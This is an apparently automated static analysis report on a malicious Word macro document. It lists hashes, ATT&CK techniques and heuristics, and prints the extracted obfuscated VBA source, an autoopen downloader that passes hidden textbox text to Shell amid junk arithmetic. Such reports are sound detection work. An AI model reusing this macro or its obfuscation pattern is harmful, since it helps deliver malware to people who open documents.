Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1246ba64abfdec50…

MALICIOUS

Office (OLE)

87.6 KB Created: 2018-12-17 14:27:00 Authoring application: Microsoft Office Word First seen: 2019-01-25
MD5: 16b35e6b7b35a3ab4f56c5028a43e9a6 SHA-1: f92c92a05bac7798c6e72fe3649f14232cd6ecb0 SHA-256: 1246ba64abfdec50f3e566a2291b3fc0e96a7b3969fc97ed57d01236c5084259
252 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains VBA macros with an autoopen function that utilizes the Shell() function, indicating an attempt to execute arbitrary commands. This is further supported by heuristics flagging suspicious cmd.exe invocation and VBA p-code execution. The primary intent appears to be downloading and executing a second-stage payload, characteristic of a macro-based downloader.

Heuristics 9

  • ClamAV: Doc.Malware.Generic-6786490-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6786490-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
          kwiodhiImPNobCGtin = 35418431 - jwSiRoXRYUuqIBZNiGw
taIuHPFc = Array(wXtqajBv, WzwfMAY, DwwlSB, Interaction.Shell(iZkAlRSjmh, CUNJhSs), IRXLQDnN)
   vUijrrEMwpqHPooiAi = ZvohXfBiODonUUKYcpowzBuf * Rnd(65935101 / Sin(YUUQLnRCEZHmLDpMpJIBWn)) / Wfd + Int(30899081 - Rnd(104334139 - Tan(78779130) * 298746756 - Cos(fzYBJXhGhKzrAVSQ)) / 249363046 * Sin(114155408 / Tan(276176489) / 195320005 / Hex(246319407))) + 58329329 + CStr(237508105) - 75409916 / CLng(247334148) * 153752668 - Fix(55522399 - Hex(128775422) * 248437990 / ChrW(EEScmCjXwOiwICsRH / 208735859))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
WjBqwh
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/officeDocument/2006/bibliography In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7806 bytes
SHA-256: 88c166f9ad41451c842366c9acf9493b06e05de8296ea5d282e5de4b89cd73fb
Detection
ClamAV: No threats found
Obfuscation or payload: likely
111 of 142 identifiers look randomly generated (e.g. 'EwMGWJLMucNjilDpETzYakEV') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "lMLQNCW"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
WjBqwh
End Sub

Attribute VB_Name = "ZizbzlcqX"
Function WjBqwh()
On Error Resume Next
   QELhhdllDQwwafEnnK = qHNctTqtDCFRDoCOHHa * Rnd(218257442 / Sin(mdAFYZMtvdFKnQNDcRNq)) / Wfd + Int(235660589 - Rnd(222783936 - Tan(230775837) * 330087000 - Cos(sKYQzjNdwEiMWVudzIZzHQXo)) / 76401718 * Sin(202975854 / Tan(275381003) / 81406682 / Hex(279258555))) + 306369454 + CStr(32602227) - 305587333 / CLng(17764711) * 42514468 - Fix(207436734 - Hex(96159200) * 267186772 / ChrW(zzsjrLiqFvTMkZJwrcmj / 29678743))
      qAmBzkKQqfpVKbGaY = 78970074 - VZusdKfkDPDbFZi
   aoSjnSiNdjUbVuJHCDvCzuBn = HGvJivlGIOwWVR * Rnd(192440140 / Sin(phPfZGvbDhhCqBfmihjLm)) / Wfd + Int(23142671 - Rnd(337577446 - Tan(262882768) * 229721646 - Cos(MjMlhlSUIMmIcALTGz)) / 93348129 * Sin(228896818 / Tan(103077290) / 44906081 / Hex(229373156))) + 66551324 + CStr(288078810) - 264284961 / CLng(245936704) * 113444674 - Fix(314730000 - Hex(247073808) * 227228470 / ChrW(wEuOPSAvjWtSAWEfATw / 14896410))
      AFFzCttABYWiKLYGwEo = 320995647 - wtNQJVjFQcojCwwoR
   MNjauvmvjTAzAzCoqhwG = YXsPjkRCFYOGOYi * Rnd(12727917 / Sin(NTnXvYPrXSsBlmNzZn)) / Wfd + Int(276854860 - Rnd(261665763 - Tan(71132648) * 71957350 - Cos(UsiulrlZTmSUdSjd)) / 334269227 * Sin(187815549 / Tan(158790559) / 84679086 / Hex(119169395))) + 160259321 + CStr(8124639) - 130496318 / CLng(252635309) * 7090608 - Fix(59268377 - Hex(271092695) * 245493374 / ChrW(OMCISiRdiAltZOSSkipKrLm / 329620619))
      wrKIkiwnaYGRUAFLVwYbYwm = 6132363 - QizbBCZEQWmGVtRoFw
   iwYhzjZNrtZTjnMA = tVHIjBzHVUSDhjufV * Rnd(205103055 / Sin(FlHTftvZbdHjoAz)) / Wfd + Int(237510183 - Rnd(62279903 - Tan(224863163) * 20869381 - Cos(ubacMGKKKioLIEvflCcOocVd)) / 87119918 * Sin(267295966 / Tan(198414477) / 21956852 / Hex(222791749))) + 337668664 + CStr(241735669) - 326068115 / CLng(118326103) * 215057817 - Fix(82788749 - Hex(194459262) * 69465971 / ChrW(HYjkPwpwXkETwHFoKSFw / 98579452))
      cGcKuqtbsRVGvEfDNZ = 265165550 - QtwOAdsdWuXNQjvcH
Const CUNJhSs = 0
   ulAorusrCAsFJvITlmjvwBw = uoICCXhviDOloYd * Rnd(50909732 / Sin(YFQzPGtimjrjYtsntt)) / Wfd + Int(16550458 - Rnd(245272430 - Tan(280112100) * 271307456 - Cos(TwWFhXiNIZcawhHihPTQ)) / 287883988 * Sin(280866247 / Tan(101493808) / 67568455 / Hex(64589345))) + 149358989 + CStr(330239711) - 309990258 / CLng(203459855) * 176050045 - Fix(147979656 - Hex(190681017) * 232265463 / ChrW(zCtAMLHSiHwTvFlPUVX / 165955313))
      chMwKZjiiCzrWkFkhDHIYI = 53906237 - qbsJPGBFKmVVhEBl
   wSFzRXDDvoGzaKPtjaLVh = jIzhJSDnMNmUdjQmWkANSOR * Rnd(208539145 / Sin(ITvNzpbCHmwAkOlz)) / Wfd + Int(49417554 - Rnd(186440087 - Tan(293649445) * 68876540 - Cos(jfdtDaUTYSrRWAw)) / 52754391 * Sin(175295301 / Tan(94487460) / 155962183 / Hex(73317179))) + 118653776 + CStr(149830567) - 326382034 / CLng(131566055) * 248834535 - Fix(245810259 - Hex(145482145) * 101110807 / ChrW(LlYVEboSTtPGiiTEj / 97499783))
      mrjNUzoKiJISEFFN = 214469820 - wRZKpHUIEjodPCWIc
   VEirbKvBOGfPXvliWMufYUdA = rwBNRpWbdMiiXzrMD * Rnd(120296714 / Sin(NhfKiMGEiobAbdbjLunzQI)) / Wfd + Int(259222539 - Rnd(307154768 - Tan(227605592) * 47401656 - Cos(zMDSVCnmhLnSAKlrnBMCAwPf)) / 122692381 * Sin(99733002 / Tan(137601335) / 165561213 / Hex(33447529))) + 306785364 + CStr(243485294) - 186648843 / CLng(180456120) * 82924821 - Fix(48005392 - Hex(285328965) * 181245912 / ChrW(GzortYXbmmfRAsWEzC / 324123770))
      AGhOhnaLroDtQRvOOIC = 283641022 - rcitnusFWNEuDVz
   AANGhnInEuLYiZ = khidpsGPUzWtnjiAbTLVQ * Rnd(283877204 / Sin(fbwcSqaQGbdQKVif)) / Wfd + Int(61499812 - Rnd(300181566 - Tan(244112485) * 295568457 - Cos(LuUGatkEWDQtYCB)) / 281503183 * Sin(103488117 / Tan(265586930) / 163435285 / Hex(303033039))) + 216568417 + CStr(109918763) - 115721025 / CLng(68251957) * 106899782 - Fix(133149332 - Hex(203063355) * 290282910 / ChrW(CcfwAUhdVrwqMjYMXmThot / 34594637))
      wcucKqGOsPUbkuXh = 132141711 - twbDUhtzsiLLAIXT
   YwZIOiEQMWGiMfQiEs = hQiwhlwqolvmqhEi * Rnd(232268745 / Sin(CpirhusmfwOpoNEMjCtzrX)) / Wfd + Int(116759404 - Rnd(289778562 - Tan(102113651) * 208980440 - Cos(jQBHAjtBCbpikGuFw)) / 189338359 * Sin(335150505 / Tan(322960503) / 227207145 / Hex(226253815))) + 198082881 + CStr(327702372) - 13090509 / CLng(241423699) * 233601408 - Fix(324585161 - Hex(205039316) * 158004161 / ChrW(bBdIViqNIuLBktUJtwRTPQ / 228362292))
      BmDGPzwWikOjGzZbHPpCW = 217460831 - EhbpANEbLTvGjakzLwoWzfn
iZkAlRSjmh = lMLQNCW.TextBox1.Text + pMAajL + zYoHvIaJ + LrpAWR + cYsbknjl + hKtZu + MIDCjwp + rEippi + iiSabFz + dKzZdQN + IaCBO
   DjkwiwUjSdDaiKwjZMqQjLq = LrSNuCnuvbCJTJEimGZbXGw * Rnd(296387697 / Sin(nuXUPOstqlmdHoPqIfHImQPH)) / Wfd + Int(76443279 - Rnd(198638428 - Tan(172162097) * 245595470 - Cos(WEsZPGIPafNJQdYRB)) / 205663596 * Sin(117932704 / Tan(65057784) / 241561022 / Hex(99906270))) + 179157535 + CStr(286931334) - 242443203 / CLng(75466421) * 154982183 - Fix(204734772 - Hex(105009965) * 58031440 / ChrW(nHiTjuEriHbiAtwVmqqKw / 54229393))
      iHdBpEjdzRtZCmJsWwn = 234735086 - JjazmploZwmffz
   TGAwoWQrMSWSSmifvZbIT = tiRijvVZsEJlFVvw * Rnd(260186666 / Sin(TjMiIWLbpzNzzHRJMSiKm)) / Wfd + Int(136269281 - Rnd(145401172 - Tan(253515844) * 171546328 - Cos(JhhJkwmppnzKZuSIF)) / 155575276 * Sin(79075487 / Tan(312510318) / 33083356 / Hex(11278401))) + 133815661 + CStr(311411630) - 54645389 / CLng(194453348) * 131886384 - Fix(191901393 - Hex(335022788) * 333660634 / ChrW(aIqNiujNRLKSdMCs / 237866449))
      iPwaiNHNmBGcJqqdWBjhnNZ = 68871794 - kujqiFljlUjLzidFRHfGoCT
   jmkKWrqhTFiSTZVZcrzcmD = TsiPswrztJqMYriCfSSKzT * Rnd(193251211 / Sin(YVtBimmzdzQRnbz)) / Wfd + Int(227129405 - Rnd(181822925 - Tan(55645843) * 270032570 - Cos(cNzhzoTKUspAPbq)) / 150300507 * Sin(31937695 / Tan(278367526) / 99933563 / Hex(47404362))) + 153128609 + CStr(280418389) - 230060504 / CLng(179984018) * 179522678 - Fix(86702488 - Hex(99925336) * 25233572 / ChrW(jiriUiLYMDtScfkHQC / 81032105))
      bdlthlmiWGkZPplKwVuwf = 332179531 - mVovLwUKKCStFzwwisjCGTU
   GimApMZBqBzAbZw = JqfMoCnKiaMHpwUifmPI * Rnd(74870586 / Sin(nVZjhfTTBQKdjOEOSEqcSP)) / Wfd + Int(341420379 - Rnd(115099728 - Tan(77298909) * 284260734 - Cos(OUpJnTUCJmFUHqOZvzMS)) / 39832317 * Sin(197104229 / Tan(107937501) / 126942418 / Hex(75427665))) + 120083531 + CStr(232527999) - 145029491 / CLng(161339685) * 143635742 - Fix(55917303 - Hex(153934586) * 277020697 / ChrW(EwMGWJLMucNjilDpETzYakEV / 330807046))
      kwiodhiImPNobCGtin = 35418431 - jwSiRoXRYUuqIBZNiGw
taIuHPFc = Array(wXtqajBv, WzwfMAY, DwwlSB, Interaction.Shell(iZkAlRSjmh, CUNJhSs), IRXLQDnN)
   vUijrrEMwpqHPooiAi = ZvohXfBiODonUUKYcpowzBuf * Rnd(65935101 / Sin(YUUQLnRCEZHmLDpMpJIBWn)) / Wfd + Int(30899081 - Rnd(104334139 - Tan(78779130) * 298746756 - Cos(fzYBJXhGhKzrAVSQ)) / 249363046 * Sin(114155408 / Tan(276176489) / 195320005 / Hex(246319407))) + 58329329 + CStr(237508105) - 75409916 / CLng(247334148) * 153752668 - Fix(55522399 - Hex(128775422) * 248437990 / ChrW(EEScmCjXwOiwICsRH / 208735859))
      WSwWPaWPMPlPOV = 113996934 - sZYjPkNTbzozhTU
   TDJDuIbGkUSEuKJsKjYN = KDziAaZJkZHRcOEzml * Rnd(85516949 / Sin(dupvVaKdFkuAqJI)) / Wfd + Int(4833431 - Rnd(63351060 - Tan(140682744) * 299961388 - Cos(BzzvLmRvEsXvLFrPNEMZQ)) / 320157477 * Sin(20923602 / Tan(3148) / 202692957 / Hex(43061925))) + 182206300 + CStr(126124123) - 39555855 / CLng(27275445) * 273730558 - Fix(112990862 - Hex(286560788) * 201943856 / ChrW(jvukiIOYNNzpkRt / 260750458))
      ITSEtzREKwpADGD = 215148930 - LUTUdQBXqmfRrBMQkIXMBmvc
End Function

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